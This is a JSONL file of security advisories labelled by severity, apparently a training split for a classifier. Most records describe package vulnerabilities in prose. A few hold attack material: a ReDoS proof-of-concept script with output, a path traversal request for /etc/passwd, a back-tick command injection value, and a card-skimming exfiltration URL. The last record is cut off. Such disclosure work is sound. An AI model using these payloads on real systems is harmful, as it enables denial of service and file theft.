-{"id": "7239adc81d83eb7d6e2f", "text": "HTTP request smuggling in netty\n\n### Impact\n\nNetty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling.\n\nFailing to do the validation might cause netty to \"sanitize\" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself.", "text_raw": "HTTP request smuggling in netty\n\n[Severity: MEDIUM]\n\n### Impact\n\nNetty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling.\n\nFailing to do the validation might cause netty to \"sanitize\" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself.\n\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "b41cbeb0baa6b47130b4", "text": "Downloads Resources over HTTP in product-monitor\n\nAffected versions of `product-monitor` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `product-monitor`.\n\n## Recommendation\n\nUpdate to versions 2.2.5 or later.", "text_raw": "Downloads Resources over HTTP in product-monitor\n\n[Severity: HIGH]\n\nAffected versions of `product-monitor` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `product-monitor`.\n\n\n## Recommendation\n\nUpdate to versions 2.2.5 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "ce55dad39e06e0ac99e1", "text": "Malicious Package in buffev-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffev-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "7a46eeda09e6c2a6bc62", "text": "ECOA Building Automation System Path Traversal Arbitrary File Upload", "text_raw": "ECOA Building Automation System Path Traversal Arbitrary File Upload\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-09-08", "split": "train"}
-{"id": "f022d0c2ede53abdf0c1", "text": "Rails before 1.2.4, as used for Ruby on Rails, allows remote attackers and ActiveResource servers to determine the existence of arbitrary files and read arbitrary XML files via the Hash.from_xml (Hash#from_xml) method, which uses XmlSimple (XML::Simple) unsafely, as demonstrated by reading passwords from the Pidgin (Gaim) .purple/accounts.xml file.", "text_raw": "Moderate severity vulnerability that affects rails\n\n[Severity: MEDIUM]\n\nRails before 1.2.4, as used for Ruby on Rails, allows remote attackers and ActiveResource servers to determine the existence of arbitrary files and read arbitrary XML files via the Hash.from_xml (Hash#from_xml) method, which uses XmlSimple (XML::Simple) unsafely, as demonstrated by reading passwords from the Pidgin (Gaim) .purple/accounts.xml file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "8835d69a062c8d01ea65", "text": "Command Injection in async-git\n\nThe package async-git before 1.13.2 are vulnerable to Command Injection via shell meta-characters (back-ticks). For example: `git.reset('atouch HACKEDb')`", "text_raw": "Command Injection in async-git\n\n[Severity: CRITICAL]\n\nThe package async-git before 1.13.2 are vulnerable to Command Injection via shell meta-characters (back-ticks). For example: `git.reset('atouch HACKEDb')`", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-12", "split": "train"}
-{"id": "366262c096863693cbee", "text": "Eval injection in Supybot/Limnoria\n\nEval injection in the Math plugin of Limnoria (before 2019.11.09) and Supybot (through 2018-05-09) allows remote unprivileged attackers to disclose information or possibly have unspecified other impact via the calc and icalc IRC commands.", "text_raw": "Eval injection in Supybot/Limnoria\n\n[Severity: CRITICAL]\n\nEval injection in the Math plugin of Limnoria (before 2019.11.09) and Supybot (through 2018-05-09) allows remote unprivileged attackers to disclose information or possibly have unspecified other impact via the calc and icalc IRC commands.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "34329890a1d2ff775fb6", "text": "Netlux Antivirus 1.0.1.8 Session Manager Service Privilege Escalation", "text_raw": "Netlux Antivirus 1.0.1.8 Session Manager Service Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-06-06", "split": "train"}
-{"id": "7bc2c864515635b9c043", "text": "prebuild-lwip downloads Resources over HTTP\n\nAffected versions of `prebuild-lwip` insecurely download resources over HTTP.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "prebuild-lwip downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `prebuild-lwip` insecurely download resources over HTTP. \n\nIn scenarios where an attacker has a privileged network position, they can modify or read such resources at will. While the exact severity of impact for a vulnerability like this is highly variable and depends on the behavior of the package itself, it ranges from being able to read sensitive information all the way up to and including remote code execution.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "c74b9bd824d71e19bd38", "text": "Duplicate Advisory: Cross-site scripting in TinyMCE\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-27gm-ghr9-4v95. This link is maintained to preserve external references.\n\n## Original Description\nTinyMCE before 4.9.7 and 5.x before 5.1.4 allows XSS in the core parser, the paste plugin, and the visualchars plugin by using the clipboard or APIs to insert content into the editor.", "text_raw": "Duplicate Advisory: Cross-site scripting in TinyMCE\n\n[Severity: MEDIUM]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-27gm-ghr9-4v95. This link is maintained to preserve external references.\n\n## Original Description\nTinyMCE before 4.9.7 and 5.x before 5.1.4 allows XSS in the core parser, the paste plugin, and the visualchars plugin by using the clipboard or APIs to insert content into the editor.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "061fde65618375cf6025", "text": "Inefficient Regular Expression Complexity in nth-check\n\nThere is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```", "text_raw": "Inefficient Regular Expression Complexity in nth-check\n\n[Severity: HIGH]\n\nThere is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.\n\nThe ReDoS vulnerabilities of the regex are mainly due to the sub-pattern `\\s*(?:([+-]?)\\s*(\\d+))?` with quantified overlapping adjacency and can be exploited with the following code.\n\n**Proof of Concept**\n```js\n// PoC.js\nvar nthCheck = require(\"nth-check\")\nfor(var i = 1; i <= 50000; i++) {\n    var time = Date.now();\n    var attack_str = '2n' + ' '.repeat(i*10000)+\"!\";\n    try {\n        nthCheck.parse(attack_str) \n    }\n    catch(err) {\n        var time_cost = Date.now() - time;\n        console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n    }\n}\n```\n\n**The Output**\n```\nattack_str.length: 10003: 174 ms\nattack_str.length: 20003: 1427 ms\nattack_str.length: 30003: 2602 ms\nattack_str.length: 40003: 4378 ms\nattack_str.length: 50003: 7473 ms\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "89b2288d2c11ea9e4ae0", "text": "NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution", "text_raw": "NREL BEopt 2.8.0 Insecure Library Loading Arbitrary Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-03-09", "split": "train"}
-{"id": "adcb8b291bf9cb085c65", "text": "Regular Expression Denial of Service in tough-cookie\n\nAffected versions of `tough-cookie` are susceptible to a regular expression denial of service.\n\nThe amplification on this vulnerability is relatively low - it takes around 2 seconds for the engine to execute on a malicious input which is 50,000 characters in length.\n\nIf node was compiled using the `-DHTTP_MAX_HEADER_SIZE` however, the impact of the vulnerability can be significant, as the primary limitation for the vulnerability is the default max HTTP header length in node.\n\n## Recommendation\n\nUpdate to version 2.3.3 or later.", "text_raw": "Regular Expression Denial of Service in tough-cookie\n\n[Severity: HIGH]\n\nAffected versions of `tough-cookie` are susceptible to a regular expression denial of service.\n\nThe amplification on this vulnerability is relatively low - it takes around 2 seconds for the engine to execute on a malicious input which is 50,000 characters in length.\n\nIf node was compiled using the `-DHTTP_MAX_HEADER_SIZE` however, the impact of the vulnerability can be significant, as the primary limitation for the vulnerability is the default max HTTP header length in node.\n\n\n## Recommendation\n\nUpdate to version 2.3.3 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "75b41fe70cd5595b3e7a", "text": "Observable Response Discrepancy in Lost Password Service\n\n### Impact\nIt is possible to enumerate usernames via the forgot password functionality\n\n### Patches\nUpdate to version `10.1.3` or apply this patch manually: https://github.com/pimcore/pimcore/pull/10223.patch\n\n### Workarounds\nApply https://github.com/pimcore/pimcore/pull/10223.patch manually.", "text_raw": "Observable Response Discrepancy in Lost Password Service\n\n[Severity: MEDIUM]\n\n### Impact\nIt is possible to enumerate usernames via the forgot password functionality\n\n### Patches\nUpdate to version `10.1.3` or apply this patch manually: https://github.com/pimcore/pimcore/pull/10223.patch\n\n### Workarounds\nApply https://github.com/pimcore/pimcore/pull/10223.patch manually. \n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "7a8c854e82cdedd55cd9", "text": "SQL injection in Django\n\nDjango 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 before 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g., in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance, it was possible to break escaping and inject malicious SQL.", "text_raw": "SQL injection in Django\n\n[Severity: CRITICAL]\n\nDjango 1.11 before 1.11.28, 2.2 before 2.2.10, and 3.0 before 3.0.3 allows SQL Injection if untrusted data is used as a StringAgg delimiter (e.g., in Django applications that offer downloads of data as a series of rows with a user-specified column delimiter). By passing a suitably crafted delimiter to a contrib.postgres.aggregates.StringAgg instance, it was possible to break escaping and inject malicious SQL.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-11", "split": "train"}
-{"id": "f07ec9fcb477c42e1b0e", "text": "Arbitrary code execution in Apache Druid\n\nApache Druid allows users to read data from other database systems using JDBC. This functionality is to allow trusted users with the proper permissions to set up lookups or submit ingestion tasks. The MySQL JDBC driver supports certain properties, which, if left unmitigated, can allow an attacker to execute arbitrary code from a hacker-controlled malicious MySQL server within Druid server processes. This issue was addressed in Apache Druid 0.20.2", "text_raw": "Arbitrary code execution in Apache Druid\n\n[Severity: HIGH]\n\nApache Druid allows users to read data from other database systems using JDBC. This functionality is to allow trusted users with the proper permissions to set up lookups or submit ingestion tasks. The MySQL JDBC driver supports certain properties, which, if left unmitigated, can allow an attacker to execute arbitrary code from a hacker-controlled malicious MySQL server within Druid server processes. This issue was addressed in Apache Druid 0.20.2", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "aea78eaaf778b331f9a2", "text": "OS Command Injection in ng-packagr\n\nThe package ng-packagr before 10.1.1 are vulnerable to Command Injection via the styleIncludePaths option.", "text_raw": "OS Command Injection in ng-packagr\n\n[Severity: MEDIUM]\n\nThe package ng-packagr before 10.1.1 are vulnerable to Command Injection via the styleIncludePaths option.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "2503b588799cf2e4873b", "text": "Malicious Package in diamond-clien\n\nAll versions of `diamond-clien` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in diamond-clien\n\n[Severity: CRITICAL]\n\nAll versions of `diamond-clien` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "438ec0b8b734ab9d5005", "text": "Directory Traversal in static-html-server\n\nAffected versions of `static-html-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in static-html-server\n\n[Severity: HIGH]\n\nAffected versions of `static-html-server` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "b0f46450a1bcd4f5d682", "text": "ffmepg is malware\n\nThe `ffmepg` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "ffmepg is malware\n\n[Severity: HIGH]\n\nThe `ffmepg` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-08-29", "split": "train"}
-{"id": "7930a41ffe7f6cc743b2", "text": "ECOA Building Automation System Hidden Backdoor Accounts and backdoor() Function", "text_raw": "ECOA Building Automation System Hidden Backdoor Accounts and backdoor() Function\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-09-08", "split": "train"}
-{"id": "9767902029510472c8da", "text": "Denial of Service in @commercial/subtext\n\nVersion 5.1.1 of `@commercial/subtext` is vulnerable to Denial of Service. The Content-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nUpgrade to version 5.1.2 or later.", "text_raw": "Denial of Service in @commercial/subtext\n\n[Severity: HIGH]\n\nVersion 5.1.1 of `@commercial/subtext` is vulnerable to Denial of Service. The Content-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n\n## Recommendation\n\nUpgrade to version 5.1.2 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "69f905588ec572bb5e11", "text": "Malicious Package in json-serializer\n\nVersion 2.0.10 of `json-serializer` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 2.0.10 of this module is found installed you will want to replace it with a version before or after 2.0.10. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in json-serializer\n\n[Severity: CRITICAL]\n\nVersion 2.0.10 of `json-serializer` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 2.0.10 of this module is found installed you will want to replace it with a version before or after 2.0.10. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "580fd42341f51d2b530f", "text": "Broken Authentication in Atlassian Connect Spring Boot\n\nBroken Authentication in Atlassian Connect Spring Boot (ACSB) from version 1.1.0 before version 2.1.3. Atlassian Connect Spring Boot is a Java Spring Boot package for building Atlassian Connect apps. Authentication between Atlassian products and the Atlassian Connect Spring Boot app occurs with a server-to-server JWT or a context JWT. Atlassian Connect Spring Boot versions between 1.1.0 - 2.1.2 erroneously accept context JWTs in lifecycle endpoints (such as installation) where only server-to-server JWTs should be accepted, permitting an attacker to send authenticated re-installation events to an app.", "text_raw": "Broken Authentication in Atlassian Connect Spring Boot\n\n[Severity: MEDIUM]\n\nBroken Authentication in Atlassian Connect Spring Boot (ACSB) from version 1.1.0 before version 2.1.3. Atlassian Connect Spring Boot is a Java Spring Boot package for building Atlassian Connect apps. Authentication between Atlassian products and the Atlassian Connect Spring Boot app occurs with a server-to-server JWT or a context JWT. Atlassian Connect Spring Boot versions between 1.1.0 - 2.1.2 erroneously accept context JWTs in lifecycle endpoints (such as installation) where only server-to-server JWTs should be accepted, permitting an attacker to send authenticated re-installation events to an app.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "976ffd53c9af93e0a9d9", "text": "PCX P mode buffer overflow in Pillow\n\nlibImaging/PcxDecode.c in Pillow before 6.2.2 has a PCX P mode buffer overflow.", "text_raw": "PCX P mode buffer overflow in Pillow\n\n[Severity: CRITICAL]\n\nlibImaging/PcxDecode.c in Pillow before 6.2.2 has a PCX P mode buffer overflow.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "993ab67adb245a50caed", "text": "Header injection in nodemailer\n\nThe package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.", "text_raw": "Header injection in nodemailer\n\n[Severity: MEDIUM]\n\nThe package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "0c33c47de6e7aba79ec3", "text": "Jupyter Notebook XSS via untrusted notebooks\n\nJupyter Notebook before 5.7.1 allows XSS via an untrusted notebook because nbconvert responses are considered to have the same origin as the notebook server. In other words, nbconvert endpoints can execute JavaScript with access to the server API. In notebook/nbconvert/handlers.py, NbconvertFileHandler and NbconvertPostHandler do not set a Content Security Policy to prevent this.", "text_raw": "Jupyter Notebook XSS via untrusted notebooks\n\n[Severity: MEDIUM]\n\nJupyter Notebook before 5.7.1 allows XSS via an untrusted notebook because nbconvert responses are considered to have the same origin as the notebook server. In other words, nbconvert endpoints can execute JavaScript with access to the server API. In notebook/nbconvert/handlers.py, NbconvertFileHandler and NbconvertPostHandler do not set a Content Security Policy to prevent this.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "2756bfc971bb9cb80e5d", "text": "Deserialization of Untrusted Data in swagger-parser\n\nA vulnerability in Swagger-Parser's (version <= 1.0.30) yaml parsing functionality results in arbitrary code being executed when a maliciously crafted yaml Open-API specification is parsed. This in particular, affects the 'generate' and 'validate' command in swagger-codegen (<= 2.2.2) and can lead to arbitrary code being executed when these commands are used on a well-crafted yaml specification.", "text_raw": "Deserialization of Untrusted Data in swagger-parser\n\n[Severity: HIGH]\n\nA vulnerability in Swagger-Parser's (version <= 1.0.30) yaml parsing functionality results in arbitrary code being executed when a maliciously crafted yaml Open-API specification is parsed. This in particular, affects the 'generate' and 'validate' command in swagger-codegen (<= 2.2.2) and can lead to arbitrary code being executed when these commands are used on a well-crafted yaml specification.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "ca980e20f9df4e47b48a", "text": "Integer Overflow in openssl-src\n\nCalls to EVP_CipherUpdate, EVP_EncryptUpdate and EVP_DecryptUpdate may overflow the output length argument in some cases where the input length is close to the maximum permissable length for an integer on the platform. In such cases the return value from the function call will be 1 (indicating success), but the output length value will be negative. This could cause applications to behave incorrectly or crash. OpenSSL versions 1.1.1i and below are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1j. OpenSSL versions 1.0.2x and below are affected by this issue. However OpenSSL 1.0.2 is out of support and no longer receiving public updates. Premium support customers of OpenSSL 1.0.2 should upgrade to 1.0.2y. Other users should upgrade to 1.1.1j. Fixed in OpenSSL 1.1.1j (Affected 1.1.1-1.1.1i). Fixed in OpenSSL 1.0.2y (Affected 1.0.2-1.0.2x).", "text_raw": "Integer Overflow in openssl-src\n\n[Severity: HIGH]\n\nCalls to EVP_CipherUpdate, EVP_EncryptUpdate and EVP_DecryptUpdate may overflow the output length argument in some cases where the input length is close to the maximum permissable length for an integer on the platform. In such cases the return value from the function call will be 1 (indicating success), but the output length value will be negative. This could cause applications to behave incorrectly or crash. OpenSSL versions 1.1.1i and below are affected by this issue. Users of these versions should upgrade to OpenSSL 1.1.1j. OpenSSL versions 1.0.2x and below are affected by this issue. However OpenSSL 1.0.2 is out of support and no longer receiving public updates. Premium support customers of OpenSSL 1.0.2 should upgrade to 1.0.2y. Other users should upgrade to 1.1.1j. Fixed in OpenSSL 1.1.1j (Affected 1.1.1-1.1.1i). Fixed in OpenSSL 1.0.2y (Affected 1.0.2-1.0.2x).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "3afb972e60354ae69a81", "text": "Command Injection in compass-compile\n\ncompass-compile through 0.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the options argument.", "text_raw": "Command Injection in compass-compile\n\n[Severity: CRITICAL]\n\ncompass-compile through 0.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the options argument.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "a522c3d7df09fda79c16", "text": "Cross site scripting in froala-editor\n\nA cross site scripting (XSS) vulnerability in the Insert Video function of Froala WYSIWYG Editor allows attackers to execute arbitrary web scripts or HTML.", "text_raw": "Cross site scripting in froala-editor\n\n[Severity: MEDIUM]\n\nA cross site scripting (XSS) vulnerability in the Insert Video function of Froala WYSIWYG Editor allows attackers to execute arbitrary web scripts or HTML.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-28", "split": "train"}
-{"id": "24718e1acf909ebb7553", "text": "Downloads Resources over HTTP in healthcenter\n\nAffected versions of `healthcenter` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `healthcenter`.\n\n## Recommendation\n\nThis package has been deprecated, and moved to a new package on npm: [`appmetrics`](https://npmjs.com/package/appmetrics).\n\nIn order to mitigate this vulnerability, please install the `appmetrics` package in place of `healthcenter` via the following commands:\n```\nnpm uninstall healthcenter -s\nnpm install appmetrics -s\n```", "text_raw": "Downloads Resources over HTTP in healthcenter\n\n[Severity: HIGH]\n\nAffected versions of `healthcenter` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `healthcenter`.\n\n\n## Recommendation\n\nThis package has been deprecated, and moved to a new package on npm: [`appmetrics`](https://npmjs.com/package/appmetrics).\n\nIn order to mitigate this vulnerability, please install the `appmetrics` package in place of `healthcenter` via the following commands:\n```\nnpm uninstall healthcenter -s\nnpm install appmetrics -s\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "de89a10118b73d3ca771", "text": "OmniAuth Ruby gem Cross-site Request Forgery in request phase\n\nThe request phase of the OmniAuth Ruby gem (1.9.2 and earlier) is vulnerable to Cross-Site Request Forgery when used as part of the Ruby on Rails framework, allowing accounts to be connected without user intent, user interaction, or feedback to the user. This permits a secondary account to be able to sign into the web application as the primary account.\n\nAs of v2 OmniAuth no longer has the vulnerable configuration by default, but it is still possible to configure OmniAuth in such a way that the web application becomes vulnerable to Cross-Site Request Forgery. There is a recommended remediation described [here](https://github.com/omniauth/omniauth/wiki/Resolving-CVE-2015-9284).", "text_raw": "OmniAuth Ruby gem Cross-site Request Forgery in request phase\n\n[Severity: HIGH]\n\nThe request phase of the OmniAuth Ruby gem (1.9.2 and earlier) is vulnerable to Cross-Site Request Forgery when used as part of the Ruby on Rails framework, allowing accounts to be connected without user intent, user interaction, or feedback to the user. This permits a secondary account to be able to sign into the web application as the primary account.\n\nAs of v2 OmniAuth no longer has the vulnerable configuration by default, but it is still possible to configure OmniAuth in such a way that the web application becomes vulnerable to Cross-Site Request Forgery. There is a recommended remediation described [here](https://github.com/omniauth/omniauth/wiki/Resolving-CVE-2015-9284).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "da138227b55bbc25b39c", "text": "Nokogiri vulnerable to libxml XML Entity Expansion\n\nThe xmlreader in libxml allows remote attackers to cause a denial of service (memory consumption) via crafted XML data, related to an XML Entity Expansion (XEE) attack.", "text_raw": "Nokogiri vulnerable to libxml XML Entity Expansion\n\n[Severity: MEDIUM]\n\nThe xmlreader in libxml allows remote attackers to cause a denial of service (memory consumption) via crafted XML data, related to an XML Entity Expansion (XEE) attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-08", "split": "train"}
-{"id": "fc74a0676eaa9459b684", "text": "Rebuild-bot workflow may allow unauthorised repository modifications\n\n### Impact\n\n`projen` is a project generation tool that synthesizes project configuration files such as `package.json`, `tsconfig.json`, `.gitignore`, GitHub Workflows, `eslint`, `jest`, and more, from a well-typed definition written in JavaScript. Users of projen's `NodeProject` project type (including any project type derived from it) include a `.github/workflows/rebuild-bot.yml` workflow that may allow any GitHub user to trigger execution of un-trusted code in the context of the \"main\" repository (as opposed to that of a fork). In some situations, such untrusted code may potentially be able to commit to the \"main\" repository.\n\nThe rebuild-bot workflow is triggered by comments including `@projen rebuild` on pull-request to trigger a re-build of the projen project, and updating the pull request with the updated files. This workflow is triggered by an `issue_comment` event, and thus always executes with a `GITHUB_TOKEN` belonging to the repository into which the pull-request is made (this is in contrast with workflows triggered by `pull_request` events, which always execute with a `GITHUB_TOKEN` belonging to the repository from which the pull-request is made).\n\nRepositories that do not have branch protection configured on their default branch (typically `main` or `master`) could possibly allow an untrusted user to gain access to secrets configured on the repository (such as NPM tokens, etc). Branch protection prohibits this escalation, as the managed `GITHUB_TOKEN` would not be able to modify the contents of a protected branch and affected workflows must be defined on the default branch.\n\n### Patches\n\nThe issue was mitigated in version `0.16.41` of the `projen` tool, which removes the `issue_comment` trigger from this workflow. Version 